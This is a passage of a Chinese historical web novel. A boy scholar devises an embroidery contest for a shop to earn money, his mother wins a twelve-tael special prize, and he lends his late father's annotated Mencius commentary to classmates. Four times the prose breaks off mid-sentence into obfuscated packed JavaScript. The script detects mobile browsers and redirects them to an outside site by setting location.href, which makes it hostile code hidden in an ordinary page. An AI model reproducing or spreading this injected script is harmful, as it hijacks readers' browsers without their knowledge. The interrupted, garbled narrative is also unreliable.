严汝青恨不得给自己一嘴巴，坏事了罢，哪壶不开提哪壶。迟哥儿八成是跟着晏叔学的。 “是，是吗。”严汝青打哈哈，他也学着晏迟去虾线，一口咬掉大半虾肉，肯定道：“去了虾线，口感是好些。” 严抱贞附和，程沅嘉未应声，也未反驳。 严汝青另起一个话题，赶忙将这茬带过，室内说说笑笑，祥和自然。 午后，四人一道进入隔间里的软榻歇息。彼此竹帘相隔，传来其他人均匀的呼吸声。 晏迟不知不觉睡下，或是中觉之前想着身边的人，午睡时他梦见严举人，把他一激灵吓醒了。 四人简单清洗后，回到讲室温习。 严举人上午讲学，下午小测，一旬了了，休沐之前再大测一次。学习强度比晏迟预想中高一些。 他最近食量都上涨了，脸上身上却不见肉。估摸是要蹿个儿。 老郑氏再次带晏宏临来瞧他时，连说几次“迟哥儿清减了”。 阿婆爱护疼惜之心，晏迟心下感动，直道自己要抽条了，好些安慰，不叫老人家担忧。 他送别老郑氏祖孙，回来见他娘若有所思，晏迟唤道：“娘，你在想什么？” “婶娘同我说，念书费脑子，让我千万要仔细你的身子。” 晏迟不在意的摆摆手：“娘放心，我身子好着呢。” 次日上午，晏宏临提了两只母鸡给沈氏送来，让母子俩每日有新鲜鸡蛋吃。 晏迟回家看着院里溜达的母鸡都傻眼了，这鸡蛋是不是太新鲜了。 6. 挣钱 气温渐升，田里的稻子熟了，严举人给他们放了半月时间的农忙假。 晏迟所学尚浅，当下重在基础。比另外三人多一些背诵和描大字的功课，傍晚他挥别同窗，回到家中。 那厢放下书箱，取纶巾脱青衫，进入小厨房拿了粮食喂鸡，沈氏听见动静从正屋出来，她懊恼的拍拍额头，“看我忙起来就忘了时间，娘这就做饭。” “娘歇会儿，我去煮一锅面条，快得很。”晏迟说话的功夫喂了鸡，他戴上围裙，麻利的在灶下烧火，铁锅放油，煎两个黄澄澄的鸡蛋，掺水，盖上木盖。 厨房里还剩七八颗小青菜，沈氏给洗了，水开后下面条，最后放青菜。 母子俩在院里吃饭，晏迟提了一句放假的事。沈氏点点头，两人有一搭没一搭说着。 饭后晏迟收拾了碗筷，天色有些暗了，正屋的烛光在窗纱投下一道细长的影子。 他敲响正屋门，沈氏的声音传来：“进。” 晏迟推开门，昏黄的烛火下，他娘又在刺绣，晏迟心里不是滋味。 自从他拜师念书后，家里开销大，他娘也更忙了。一日绣六七个时辰，长久以往，眼睛都得废了。 归根究底还是钱的问题，得想法子挣钱。 晏迟心里转过好几个念头，抄书，写书的念头冒出，又被他给否了。 眼下还是念书为主，不可本末倒置。 那还能做什么？ 晏迟心里念着事儿，无意瞥见她娘手中的丝线，黄灿灿的，隐有微光，他道：“这次的丝线跟之前不一样。” 沈氏笑应：“贺记绣庄新出的丝线，一并的还有这块布料。” 晏迟这才发现他娘手上的布料同之前也有不同，他上手摸了摸，又仔细瞧瞧：“新技术？” 沈氏：“估摸是。” “娘最近一直在贺记绣庄揽活，都不去其他绣庄了。”晏迟在炕边的凳子坐下。 “倒也没有。”沈氏理线，头也不抬：“贺记绣庄的少东家是个厚道人，给绣娘的价钱比其他地方高半成。”她声音低了些，毕竟这话有内涵其他绣庄之嫌，不太光明。 晏迟疑惑：“少东家？以前没听过。” 烛火忽然传来轻微的爆裂声，沈氏抬起头，无奈道：“你这孩子怎么打听绣庄的事了。” 晏迟摊手：“我双耳想闻窗外事，不愿只顾圣贤书。娘也不希望我读书读呆了罢。” 沈氏被逗乐了，索性放下手上活，“行行行，你且问。” 晏迟将县里各大铺子，士绅富户的情况都了解了一下。末了，他道：“夜深了，娘早些休息，明儿再做绣活。” 沈氏含糊应着。 次日用过早饭，晏迟知会他娘一声就出门了。 何大一手甩着鞭子，一手搭在大腿，背靠车门，侧首问：“迟哥儿，你想去何处玩。” “去周边逛逛。” 骡车一路出了城，在田野边行驶，放眼望去，田里的水稻都沉甸甸低了头。 何大心里欢喜，“今年又是个好收成。” 晏迟不语，他脑海中隐约闪过一个念头，却不够明了，于是道：“再走远些瞧瞧。” 这一逛就是大半日，酉时才回。回家路上，晏迟向何大打听县里的乡绅富户，与从他娘口中听来差不离。 当晚，东厢房的灯亮了半宿。天一亮，晏迟用过早饭，又出了门。 沈氏欲言又止，打算等迟哥儿回来再劝学。 骡车行过长街，直奔东城和南城的交界处，正是贺记绣庄所在。 晏迟远远的就瞧见了，铺面三间开阔，正有一位妇人进店，朱漆门楣上的玄底匾额上书：贺记绣庄，四个大字。 骡车在铺外停留，晏迟下车，绣庄内陈设讲究，东侧一张红木长案，进深西延，呈逆时针翻转一百八十度的L型，案上摆着时兴布料和绸缎，夺人眼球。 绣庄西侧，零落有致的陈列各式绣件，再往西，一张八仙过海六扇座屏隔断，里间置宽椅小几，供客人歇息挑选。 晏迟环视一圈，他一身半旧的墨色短打，脑后着髻，衣衫简陋，但神态自若，不似一般玩皮小子。赛掌柜笑盈盈上前：“小哥，可有什么需要？” 晏迟残留稚气的脸露出一个腼腆的笑：“我想与绣庄做个买卖。” 赛掌柜：？？？ 赛掌柜面部表情片刻凝滞，晏迟又重复了一次。赛掌柜脑袋微微后仰，上下打量晏迟一眼，乐道：“小哥，咱们这里是绣庄。” 言下之意，你一个半大娃娃莫胡闹了。 晏迟说：“我知道。” 赛掌柜一时也拿不准了。最后稳妥起见，他亲自把晏迟带去后院天井说话。 他令伙计备了粗茶点心，在石桌一侧落座，“小哥可否告诉老朽，欲与贺记绣庄做什么买卖了吗？” 晏迟吃了一口茶，用方帕擦擦嘴，这才不疾不徐道：“听闻贺记绣庄新出了丝线和布料，县里其他布庄绣坊都还没有。” 赛掌柜捋着胡须，矜持应声。 然而晏迟下一段话叫他变了脸色，“贺记绣庄抢了先机是不假，但其他布庄绣坊也不是无能之辈，估摸个把月，他们也能效仿。届时贺记绣庄的优势不复存在。” 赛掌柜眉头微蹙。 晏迟伸出一根食指，“贺记绣庄的绣件品质优良，布料上佳。” 他又伸出一根手指，“东家宽厚仁道。” 赛掌柜的眉头略松，面色回缓。 晏迟笑道：“有这两样，贺记绣庄怎么也差不到哪里去，但是想再往上走就难了。”他敛了笑，平静诉说事实：“云裳阁和华绣坊如拦路大山，稳稳矗立贺记绣庄跟前。更别提大小布庄虎视眈眈。” 赛掌柜惊疑不定的看着晏迟，短短几句话，眼前少年就将贺记绣庄在县里的定位和优劣道个明白。 东南一带能人辈出，少年年纪虽小，但言语稳重，条理清晰，赛掌柜不敢轻视他，于是微微倾身，试探问：“小哥说的有理，你先时说的买卖也是为此？” 晏迟点点头，他端起茶盏呷了一口茶，赛掌柜目不转睛候他下文。 晏迟搁下茶盏，“其实贺记绣庄哪哪儿都好，只是缺一个扬名的机会。” 赛掌柜苦笑一声，“小哥有所不知，多少布庄绣坊一生也等不来这个机会啊。” 倘若扬名容易，人人都出名了。 晏迟冲他眨眨眼，“眼下就有一个机会。” 他从怀里取出一张信笺，赛掌柜接过，在晏迟示意下，打开瞧了瞧，神情逐渐凝重，随即眼放亮光。 他紧紧捏着信纸，皱痕顿生，又忙不迭松了力道，小心翼翼抚平，期期艾艾道：“小哥稍坐，老朽…老朽这就请少东家来。” 晏迟颔首。 赛掌柜前脚离开后院，后脚店里伙计过来换了新茶点，晏迟捻了一块茯苓糕吃着，对上枝头的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668426|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻雀，他想了想，掰碎点心至树下。 小麻雀瞧他几次，见他不动，终于扑棱小翅膀落在晏迟手心啄食。 贺少东家匆匆赶来时，晏迟身周已然落了好几只鸟雀，听得声响，呼啦啦全飞走了。 贺少东家歉意道：“是贺某莽撞，扰了小哥雅兴。” “不妨事。”晏迟擦擦手，莞尔道：“借花献佛罢了。” 两人重新落座，贺少东家已及冠，五官并不出众，但气质文雅，一身靛青色的绸子衣裳，腰系绿丝绦，颇有写意风流之态。 他也不兜圈子，直说晏迟的方案他很感兴趣，欲以三十两银买断。 这个价格厚道。晏迟的方案再好，没有落实，谁也不知道结果。贺记绣庄是担了风险的。 “少东家宽厚，某也不是小性好利之人，待此事了了，有了好结果，再结银钱不迟。” “那怎么成！当真如此，贺某岂不是欺你。不成不成。”少东家摆手不应。 双方一通推拉，最后以贺少东家给予一半银钱，晏迟全程陪同这次活动，达成协议。 晏迟选择一个十两的银元宝，五两碎银子。 他离开时，贺少东家还派人给他打包两份点心。 晏迟坦然受下了，上车后将一包点心给了何大。 何大笑盈盈接下，赶车回家。 晏迟在巷外小店叫了两菜一汤，留了地址，令人做好给他送来。 沈氏对此没说甚，她要做绣活，一双手伤不得。迟哥儿是读书人，也不好经常出入厨房。 下午热意蒸腾，晏迟嫌屋里闷，在花厅练字。 沈氏见状，提起的心落下了。 晚上晏迟一边在院里健体，一边背书。直到月上中天，他才冲洗睡下，一日就这般过去。 而贺少东家这会子，已快马至府城，他不敢歇息，熬了半宿，细化流程，后半夜短暂睡了两个时辰，天微微亮，他就起了。 三日后，贺记绣庄忽然铺天盖地的宣传，举行刺绣赛事，以今岁丰收和敬老为题，苏州府的吴绣娘和常绣娘裁判。 头名者，奖白银九十九两，寓意五谷丰收长长久久。 次名者，奖白银八十八两。 第三名，奖白银六十六两。 限期一月，重阳节的前一日截止。 消息一出，本就笼罩在盛夏热意的昌栎县沸腾了。 云裳阁和华绣坊一时闹不清，两家当家人相约茶楼雅间，“贺家小子想作甚，白花花的银子洒出去？” 他们两家也是养着手艺精巧的绣娘，届时在贺记绣庄的赛事上得了魁首，贺家可真是里子面子都没了。 他们倒不怕贺记绣庄暗箱操作，苏州府的吴绣娘和常绣娘是刺绣一途的大手，她们跟着贺记绣庄胡闹，来当这劳什子赛事的裁判，反而更叫他们意外。 云裳阁和华绣坊作壁上观，很快底下人回禀，以昌栎县为中心，周遭的绣娘都去贺记绣庄购买针线和布匹。 云裳阁东家嗤笑：“贺家小子眼皮子忒浅，强制绣娘去自家买针线布匹，成不了大器。” 打探消息的伙计欲言又止，云裳阁东家不悦：“有话就说，吞吞吐吐像什么话。” 伙计忙道：“回老爷，那些绣娘是自愿去的，因着贺记绣庄新出的丝线和布匹，绣出来的稻穗最接近实物。” 云裳阁东家眼皮子一跳，在花厅来回踱步，少顷，厉声道：“来人，备车。” 7. 赛事 贺记绣庄熙熙攘攘，两名妇人手挎半篮子针线，并排而出：“从前我都在华绣坊买针线布料，用着还行。没想到贺记绣庄的针线也不错。” 两人说说笑笑从马车边经过，车外热火朝天，车内鸦雀无声。 云裳阁东家的心直往下沉。 他什么都明了了，什么刺绣赛事，什么大手裁判，甚至高额奖金，一切种种，都是为贺记绣庄造势，扬名。 如同赛掌柜了解云裳阁和华绣坊，云裳阁东家自然也晓得贺记绣庄。 这些年，云裳阁和华绣坊能压贺记绣庄一头，不是云裳阁和华绣坊的货物比贺记绣庄好，而是云裳阁和华绣坊起家早，资历足。 但是贺家小子玩这一手，贺记绣庄的名声一旦打出去，今后这县里头把布庄交椅的位置谁来坐，就不好说了。 云裳阁东家思绪转的快，正欲吩咐车夫去华绣坊，却瞥见一辆熟悉的马车缓缓而来。 不是华绣坊东家，又是谁？ 两人遥遥对视，转至附近茶楼，云裳阁东家开门见山，“曾老弟，今日之景，你也瞧见了。若让一后生压着我俩，往后这县里谁还把咱们当一回事。” 华绣坊东家摩挲茶盏，“老哥的意思是，我俩家联合办一场赛事，把贺家小子压下去。” 不待云裳阁东家应下，华绣坊东家连连摇头，“不可不可，你我已经失了先机，此时再办，无异东施效颦，真成了县里的活笑话。” 云裳阁东家也是着了急，生了昏招，经华绣坊东家提醒，顿时意识到不妥。 云裳阁东家一口将茶水饮尽，嘭地搁下空茶盏，“贺家小子的手脚忒快了。” 华绣坊东家垂眸不语，茶汤映出他深沉的眉眼。 两人分别后，华绣坊东家唤来长随，一番耳语。 布庄绣坊之间的涌动，县里百姓并不在意，他们更关心有多少人参加刺绣赛事，最后又会是谁夺得头名。 那可是九十九两白银，普通人家得攒上十数年。 如沈氏稳重，晚饭后都忍不住跟儿子提了一嘴。 晏迟抬眸，眼含笑意：“娘也参加了？” 沈氏摇头，“我这点子手艺，就不去献丑了。” 夕阳余晖映着她秀丽的脸，眼角眉梢残留一丝落寞。 她是绣娘，纵然为生计，但对刺绣总有几分喜爱。这样的赛事，她心底深处还是想去的。 可是她怕最后费了时间，却是一场空。 迟哥儿一年束脩八两银子，这一笔硬性大额开销压在头上，沈氏不敢有丁点儿差错。 而这八两银，已是严举人做善事，开的低价了。换做其他举人，学生捧着大几十两银拜师，举人都未必收。 沈氏回了屋，继续刺绣。 晏迟若有所思。 夏秋之际，昼长夜短，他朝正屋扬声，“娘，我出门散步消食，一会子就回。” 沈氏应声。 晏迟敲响隔壁院门，何家小哥儿开的门，惊讶：“迟哥儿？” 晏迟莞尔，“你爹在家不在？” “在的在的。”厅里吃饭的何大忙不迭抹抹嘴，出来了。 晏迟道：“这会子能不能出门一趟。” 何家小哥儿下意识问：“你去哪儿？”话落，他脑袋被他爹拍了一下，哎哟哎哟叫唤。 何大对儿子道：“回屋玩你的去，问那么多。” 随即他让晏迟稍等，他撤了门槛，回院里解骡车。 何家小哥儿不服气，也有些迁怒晏迟。晏迟手腕一翻，给他两块糖，何家小哥儿犹豫，晏迟直接塞他手里。 此时，何大赶骡车来了，晏迟上车，还对何家小哥儿挥手告别。 何家小哥儿也跟着不好意思的挥手，心里的一点怨气，烟消云散。 骡车直奔贺记绣庄，赛掌柜一见他来，立刻亲迎。 “小公子，你来了。” 晏迟与人简单寒暄两句，随后从怀中取出一个信封给他，“天色不早，我这就回了。” 他来的匆匆，去也迅速。若非有心人时时留意，当真忽略过去。 次日，贺记绣庄于赛事增加十个特奖名额，主题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668427|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再局限“丰收和敬老”，而是扩充至四季盛景。 评定标准也不以绣法为主要条件，是杂糅绣法的功力，线条平整与否，以及创意，综合评定。特奖不论名次，上榜者，奖银皆为十二两。 下午沈氏从外面回来，满头热汗，一双眼睛却十分明亮。 花厅练字的晏迟猜到七八分，却故作不知，起身给他娘倒茶，“娘因何事开心？” “是贺记绣庄的刺绣赛事。”沈氏太高兴了，说完了这句，才咕咚咕咚饮茶，茶碗瞬间见底。 晏迟给他娘续上茶，又取了扇，给他娘打扇，“娘慢慢说。” 沈氏欢喜道：“之前的绣活做完了，今日娘本来又想去贺记绣庄揽点新活，才知赛事又添了奖项。” 她细细与儿子说，整个人都焕发着光彩，“你也知道娘只擅长单面绣，所以最初听闻赛事，并不上心，娘哪能跟那些绣法高超的娘子比。” “但是现下特奖，以绣法功力，灵巧心思综合评定，奖银十二两，所以，娘想试试。” 她双眸熠熠生辉，眼中满是憧憬。 晏迟应声：“我支持娘！而且我相信娘肯定能获奖。” 沈氏立刻阻了他，嗔怪：“现下不好说大话。” 晏迟连连点头，又道：“儿不懂刺绣，但关于绣题，儿或许可以出出主意。” 沈氏片刻犹豫，应下了。 她欢喜，晏迟心里也欢喜。他最惧子欲养而亲不待。 现下能解娘亲一二愁，将来也少两三悔。 贺少东家不知道晏迟的补充策划，携了私心。他只觉当时以仁义做买卖，博得晏迟好感，以至晏迟主动提出，全程陪同赛事，实在太值了。 县里县外，有沈氏那般担忧的绣娘不在少数，如今特奖一出，顿时又添许多人报名。 参赛者众，赛事自然热闹。赛事热闹，便吸引更多人。 贺少东家忙的脚打后脑勺，但精神头十足。一定要将赛事办的美满。 一日复一日，晏迟的假期宣告结束，他背上书箱，去严家念学了。 8. 借阅 半月不见，严抱贞和程沅嘉清减些许，肤色也深了一层，指尖残留细细浅浅的伤痕。 严汝青稍好些，但面皮也是经过日晒的蜜色，四人中唯晏迟白嫩如旧。 严汝青盯着他瞧，眼神幽幽，把晏迟看的毛毛的。 晏迟道：“青哥，你这是为何？” 严汝青倏地伸手捏住他左右脸，力道不大，但这种明显对待稚童的方式，还是让晏迟无奈。 “果然年纪小就是好，日头都待你温柔些。” 晏迟：……… 严汝青哈哈大笑，忍不住又揉揉晏迟的脸，这才作罢。 随即他又与严抱贞和程沅嘉玩笑，他很有分寸，基本不提私事，只围绕课业闲谈。很好规避家境差距带来的窘迫。 一刻钟后，讲室里的声音渐止了，各自温书。 严举人进入讲室，目光下意识落在后座的晏迟身上，见其观书，行至他身侧。严举人的目光顿了顿。 盖因这书是晏迟之父，晏游亲手誊抄的《孟子注疏》，伴有私人注解。 饶是以严举人如今的学问来看，也颇有所得，一时看入了神，亲自翻页。 严抱贞等人若有若无望来，晏迟入学后衣饰简朴，严抱贞下意识将晏迟看作等同处境，实则不然。 晏相公英年早逝不假，但天资过人，在人才济济的东南，年二十一中秀才，六年后秋闱正榜落了榜，却也是副榜第一，可见实力。晏迟的祖父差了些，也是未及而立便中秀才。 晏家因着科举而开销大，日子过的拮据，但家中书籍不会少。 这些书籍上有主人对文章的私人注解，更有对科举的心得，价通金银宝珠。 严抱贞犹生羡慕，又念及晏迟年幼丧父，顿生愧疚，不免羞愧。数种情绪交错，好不复杂。 忽然，晏迟轻声唤：“先生。” 严举人眼中闪过一抹懊恼，转瞬即逝，他负手于后，俯视晏迟：“课业呢。” 晏迟早就备着了，从抽屉中取出，以严举人之严格，也挑不出纰漏。 “尚可。”他评价。 晏迟弯了一下眉，眼含亮光，说不出的灵秀。 若是晏迟再年长几岁，这般作态，当真肖似其父，青衫风流了。 严举人收回视线，检查其他人功课。随后如往常一般，上午讲课，下午小测。 歇息时，严汝青将晏迟的《孟子注疏》借去瞧了瞧，一看就入了迷，颇有所悟，不时发出“原是这般”“好生精妙”的感慨。 数日后，散学之际，严汝青送晏迟离去时，欲言又止，止言又欲。 眼见两人行至影壁，即将踏出严家大门，晏迟驻足，低声道：“青哥，你有话就说罢，不然我都出严家门了。” “迟哥儿，我……”严汝青话出口，又止了声。 晏迟想了想，问：“是不是为着我爹手抄的《孟子注疏》。” 严汝青不好意思道：“你猜到了？” 晏迟笑着点点头。 他虽然今岁端午之后才拜师，但此前已开蒙，严举人帮他顺了一遍《大学》《中庸》《论语》，讲文释义。 假期之前，晏迟背诵的功课，便是这三本书。 假期后，晏迟将学《孟子》，他才将家中的《孟子注疏》一并带来。 当然，他此举也有另一层用意。 晏迟放下书箱，从里面拿出《孟子注疏》一书，递给严汝青，道：“《孟子注疏》字数颇多，我爹誊抄后加上注解，共上中下三本。你先看上本，过些日我再把中本和下本与你瞧。” 话落，晏迟朝他眨眨眼，“我刚学《孟子》，现下背诵文章为主，一时不着急看，青哥若是做完功课还得空，可先行誊抄。” 严汝青看着保存的很好的手抄本，又对上晏迟真诚的目光，他咬咬牙，终于伸手接过：“迟哥儿，你放心，我肯定好好保管，快快誊抄，届时早早还你。” 晏迟笑应，他重新背上书箱，“那我这就家去了。” “我送你。”严汝青将书揣入怀中，书本撑起了衣衫，犹似胸甲，随同晏迟出门。 何大坐在车前架，见着严家侧门开，两名少年人出来，他赶紧挥手打招呼。 晏迟回应，严汝青也同何大招呼，这不是严汝青第一次与何大招呼，但何大仍是受宠若惊，面皮绯红，待晏迟上了车，严汝青与他们挥别。 那厢骡车行远了，严汝青回到讲室，严抱贞和程沅嘉齐齐看来，严汝青轻咳了一声，从怀中取出书，“迟哥儿心思灵透，温良纯善，见我那般状，主动与我誊抄的。” 严抱贞面皮微热，程沅嘉也垂下眼。 “别愣着了，咱们一道儿。”严汝青打破尴尬，催促道。 晏迟握着他爹的书，严先生不会借阅。文人有自己准则，借了瞧了，好像为着这些书才收的晏迟，也有欺负孤儿寡母之嫌，过不去自己那一关。 先生正直，晏迟不能当做理所当然。他能拜人为师，有他刻苦，更有他爹生前的情分，先生念旧，讲情义，又尽心尽力授他诗书，对他有义有恩。 他若藏着掖着生父生前书籍，实在太小家子气，也令人寒心。 况且书籍一物，本就是看多阅多才好，藏在家中，旧了蛀了才是可惜。与师长，与同窗，聚而论之，学问才叫做起来了，学成自己的东西了。 不过，他也不能拜师之初就带上他爹生前的手书，太刻意，也不给严举人脸面。 现在这个时段就刚好。 《孟子》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏迟：……… 看在鸡蛋的份上，他忍。 晏迟垂首继续做功课，小白得意地扑棱翅膀，骄傲地走开了。 赶在暮色四合前，晏迟做完功课，两只母鸡已经自觉回笼。 他看向正屋，果然亮着灯。 晏迟在院里锻炼，背诵文章，夜渐深了，他知会他娘一声，洗漱歇下了。 而严家院里，灯火通明，严汝青，严抱贞和程沅嘉三人正在挑灯抄写。 9. 奖银十二两 当严汝青他们誊抄完《孟子注疏》的上本后，贺记绣庄的赛事也如期而至。 贺记绣庄提前数日，租下县城中心一块地，搭建高台，赛事当日辰正，三十个统一灰衣短打的壮汉分列赛台周围，维持秩序。 好事者伸长了脖子往台上瞧，参赛者矜持，或远坐车内，或歇脚周边茶楼小店。 何大送晏迟去严家念学后，折返回来，送他娘子和沈氏一道去赛台。 待到金乌攀升，日光红火，贺记绣庄的少东家头束玉冠，一身崭新月色圆领袍，双肩和胸前绣挺拔青竹，腰间扎一个玄色的宽腰带，系白玉配并芙蓉桂花香囊，脚踩黑缎方履。斯文不失富贵。 他立高台，双手向下压，人群噤声。贺少东家简单提了一嘴赛事，随即从开国太/祖感谢，后跟历代皇帝，至今朝大官，再至府县一众官员，感谢太平盛世，才有今日赛事。 这一通官腔，围观百姓都快困去了，偏还不能阻止，否则告一个大不敬，去牢里蹲几日都是有的。 眼瞧着快巳时，贺少东家终于感恩完毕，不再废话，立请两刺绣大家上座，来自苏州府的吴绣娘和常绣娘。 贺少东家退至一侧，朝手下颔首，锣声一响，赛事开始。参赛者排队上台，展示绣品。 严家讲室内，严举人不疾不徐讲学，转眼近午时，严举人合上书，宣告上午讲学结束。 学生们去食舍用饭，严汝青忽地道：“我差点忘了，今日贺记绣庄举行刺绣赛。” 晏迟诧异望来。 严抱贞嘴角抽抽，“青哥儿，你一个读书人，又不刺绣，关心什么刺绣赛。” 严汝青张了张嘴，又没说。 这个小插曲被几人抛诸脑后。 但晏迟念着严汝青之前神情，午饭后，两人去清洗餐碗时，晏迟行至严汝青身侧，轻声问：“青哥知道刺绣赛，可是师娘也参加了？” “不是。”严汝青笑道：“我娘只会一些小件儿。”别的却是没多说。 晏迟也就识趣的不问了。 午休时，晏迟想着赛事，参赛者众，品评估摸着费功夫，不知今日能否评着他娘的作品。 下午日头更烈，四人汗如雨下，练一会儿字就得擦擦汗，否则汗珠砸落，毁了字迹。 晏迟没空想别的，直至散学，他一张脸上透着疲惫。 严家管家提来食盒，严汝青疑惑：“全伯，这是甚？” 全伯笑呵呵道：“暑热重，夫人命老奴给几位公子送的冰酥酪。” 严汝青眼睛一亮，欢喜的蹦起来，全伯眼中笑意更浓，主仆将冰酥酪分出。 乳白色的酥酪上点缀紫红杨梅酱，配着晶莹修长的柚粒，可口诱人。 程沅嘉和晏迟有些不好意思，严抱贞已经吃了一口冰酥酪，发出满足地喟叹。 他道：“先生和师娘对咱们好的地方太多了，不差这一点。” 程沅嘉：……… 晏迟乐道：“抱贞师兄话糙理不糙。”他也吃了一口酥酪，清甜冰凉的口感顺着喉咙滑下，顿时驱散倦意。 “好吃！”评价简单明了。 全伯提着空食盒笑盈盈离去，四名少年坐在讲室，吃着冰酥酪，闲话家常，好不惬意。 晏迟吃完之后擦擦嘴，伸个懒腰，“满血复活。” 严汝青一个踉跄，忙道：“呸呸呸，你好好的，复什么呢。” 晏迟顿时抿唇，一双清亮亮的眼睛望着严汝青，十分乖巧。 严汝青没忍住揉揉他的头，送他出门时，叮嘱：“子不语怪力乱神，但也需避谶，往后要注意些，可晓得了。” 晏迟应：“嗯嗯，往后再不说了。” 两人出了严家门，晏迟坐上何大的骡车。 他询问他娘那边的情况。 “今天人太多了，我走的时候，才轮到沈娘子将绣品呈上……”何大也是第一次见这样的刺绣赛，滔滔不绝说起今日所见绣品，真叫他大开眼界。 往日都不知他们昌栎县这一代人才济济。 晏迟认真听着，不时应和。骡车行至丰家巷巷口，晏迟叫停下车。何大又折返赛台去接他娘子和沈氏。 晏迟在巷外买了馒头和卤猪头肉，这才慢吞吞进巷，有邻居唤他，他也温声回应。 最后他在自家院外驻足，院门上了锁，晏迟从书箱取出备用钥匙，开锁进院。 先放书箱，再入厨房取粮打水，喂鸡。 两刻钟后，晏迟正在做功课，院外传来一阵动静，沈氏给何大结了银钱，谢过何大夫妇，推开自家院门。 晏迟搁笔去小厨房打水，让他娘净手，同时拿出晚饭。母子俩在院里吃饭，沈氏讲着今日所见。 一次性观摩各家绣品，于一名绣娘，收获是颇大的，各有各的巧思，难一细数。 沈氏原本对自己有七分信心，今日之后却是只剩四五分了。 甚至，今日参赛者的绣品并未展示完毕，后面会不会再出佳品也未可知。 晏迟见他娘神思不属，咽下口中食物，宽慰劝解。沈氏勉强提了提嘴角，但忧虑不减。 晏迟只好作罢。 又一日，参赛绣品全部展示完毕。于第三日巳时，公布结果。 宣布结果的前一夜，沈氏碾转反侧，难以入眠。似她者，多也。 绣品于绣娘，亦如科举试于书生。 晏迟受他娘影响，特意拜托严家小厮帮他去瞧结果。 晌午晏迟借口小解，行至侧门，隔着十来步距离，小厮一脸喜色，晏迟心里就有了数。 果然，小厮与他道：“晏公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668429|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，沈娘子那副柿柿（事事）如意的绣品得了特奖，奖银足十二两呢。” 晏迟悬着的心跟着落下，从袖中取出两角碎银与他，“多谢小哥奔走，天气热，喝杯茶水。” 小厮感受到手心的硌度，喜的见牙不见眼，“不妨事，晏公子往后有需要，尽管吩咐。” 两人就此分开。 正午的日头最烈，晒的人皮肉痛，晏迟立在日光下，长长吐出一口气。 他揉搓了一把脸，眼睛晶亮有光，随即回到室内，严汝青见他双颊通红，摸了摸晏迟的脸，“嘶，这么烫。” “还好。”晏迟弯眸笑。 程沅嘉抬眸看了他一眼。 严抱贞取了湿帕给晏迟覆额，摇头叹息：“小可怜，都晒懵了。” 晏迟笑不出来了，严汝青噗嗤笑出声。 傍晚，何大来接晏迟时，神情兴奋，晏迟明知故问。 何大立刻道：“是你娘，你娘得了特奖。” 他津津有味讲述，眉飞色舞，骡车行了一路，他讲了一路。 晏迟到家时，何大还意犹未尽。晏迟进院，放下书箱，正要喂鸡。 沈氏道：“鸡喂过了，这次因着赛事，很麻烦孙娘子夫妇，所以娘在茶仁馆定了一桌席面，谢他们一谢。” 晏迟：“那我换身浅蓝色短打，免得何家小哥儿不自在。” 沈氏点头：“去罢。” 一盏茶后，母子俩出门，唤上何家人，孙娘子推辞一番，但盛情难却，只好叫上家人一道赴席。 何家小哥儿一听是去茶仁馆，激动不已。 丰家巷距茶仁馆约摸二里，一行人脚程不慢，伙计一见沈氏，立刻笑迎，引着他们去二楼雅间。 何小哥儿东张西望，稀罕得很，何大感觉丢人，拍了他一下。 何小哥儿委屈，晏迟与他道：“这家店的招牌菜是龙井虾仁，味道很不错，也是店名由来。” 何小哥儿被转移注意，忘了委屈，而他们此时也至雅间，沈氏选的临街位置，热闹。 一行人落座，伙计添茶，“诸位稍等，菜品随后就来。” 沈氏点的中等席面，两个冷盘，醉鸡和卤耳片。 店里招牌，龙井虾仁。 六道主菜，莲花肉，咸肉烧笋，炙鹌子，东坡肉，黄金虾球，清蒸鲈鱼。 两个素菜，并一道豆腐鱼虾汤。 若干炸小鱼，香圆，花生米子，香干，佐酒。余四道点心。 菜肴上桌，雅间内静了一瞬，盯着席面瞧，沈氏言简意赅地向孙娘子夫妻敬酒道谢，就开动了。 何小哥儿一眼瞄中黄金虾球，送入口中，声响清脆，美的他眯起了眼。 真好吃啊~~ 晏迟夹了一块龙井虾仁，细细品味。 10. 龟苓膏 